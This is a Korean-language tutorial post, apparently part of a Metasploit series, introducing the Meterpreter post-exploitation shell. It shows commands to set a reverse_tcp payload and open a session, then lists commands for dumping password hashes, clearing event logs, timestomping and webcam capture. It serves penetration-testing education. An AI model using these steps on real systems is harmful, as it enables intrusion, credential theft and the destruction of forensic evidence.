[MAD-METASPLOIT] 0x30 - Meterpreter?

What is Meterpreter shell?

Metasploit에서 여러 기능을 제공하는 쉘이자 Anti forensic을 위한 shell이라고 볼 수 있습니다. 개인적으로 굉장히 좋아하는 쉘이며 Ruby script(IRB)의 연동으로 현재 주 언어를 Ruby로 쓰고있는 저에게는 최고의 쉘이 아닐까 싶습니다.

Meterpreter는 디스크가 아닌 메모리에서 동작하고 암호화 통신 사용 및 Anti forensic으로써의 기능을 갖추고 있습니다.

Meterpreter의 추구하는 가치

  • Meterpreter resides entirely in memory and writes nothing to disk.
  • No new processes are created as Meterpreter injects itself into the compromised process and can migrate to other running processes easily.
  • By default, Meterpreter uses encrypted communications.
  • All of these provide limited forensic evidence and impact on the victim machine.

How to use?

PAYLOAD를 meterpreter shell로 맞춰주고 Exploit 시 meterpreter shell로 연결됩니다.

HAHWUL > set PAYLOAD windows/meterpreter/reverse_tcp HAHWUL exploit(~)> exploit -z HAHWUL exploit(~) > sessions -i 1 [*] Starting interaction with 1…

meterpreter >

meterpreter의 명령 구성은 아래와 같습니다. 별거 아니지만 알아두시면 유용합니다.

Core Commands -> Metasploit의 기본 명령어들입니다. 서로 공유되어 사용이 가능합니다.

Stdapi: File system Commands -> File system 관련 명령입니다. ls, cat, dir 등등 많이 사용하시는 명령어들이 있습니다.

Stdapi: Networking Commands -> 네트워크 관련 명령입니다. route, ipconfig, ifconfig 등등

Stdapi: System Commands -> ps, kill, reboot 및 권한이나 pid 정보를 얻어오거나 event log를 삭제하는 등 시스템에 관련된 명령들이 있습니다.

Stdapi: User interface Commands -> UI단에서 제어가능한 부분들이 있습니다. 예를들면.. 스크린샷을 찍는다는둥

Stdapi: Webcam Commands -> 이름만 봐도 알겠지만 웹캠 관련 명령들입니다.

Priv: Elevate Commands -> 권한 상승과 관련된 명령입니다. 권한 상승 관련된 post 모듈의 집합이라고 보시면 좋아요.

Priv: Password database Commands -> hashdump 하나있습니다. 물론 os 따라 다르긴 하지만 password 해쉬 파일(passwd, SAM 등..)을 떠옵니다. (크랙은 알아서)

Priv: Timestomp Commands -> timestomp 관련 명령입니다.

Command

background -> metasploit으로 넘어갑니다.

cd pwd lcd lpwd -> 리눅스 명령과 동일합니다. 다만 lcd, lpwd는 local, 즉 meterpreter가 아닌 metasploit에서의 디렉토리 이동/보기라고 생각하시면 좋습니다.

clearev -> event log 제거

upload download -> file upload/download

edit -> 파일 수정

execute -> 명령 실행

getuid -> 현재 uid를 가져옴

hashdump -> 각 OS의 passwd,shadow(SAM) 파일을 가져옴

idletime ->현재까지 동작 시간

ipconfig ps ls -> 일반 리눅스 명령어와 동일

migrate -> migrate 명령, 관련 게시글 참조

search -> 타겟 내 파일에 대해 검색

shell -> meterpreter에서 기본 쉘로 넘어감(cmd, bash 등)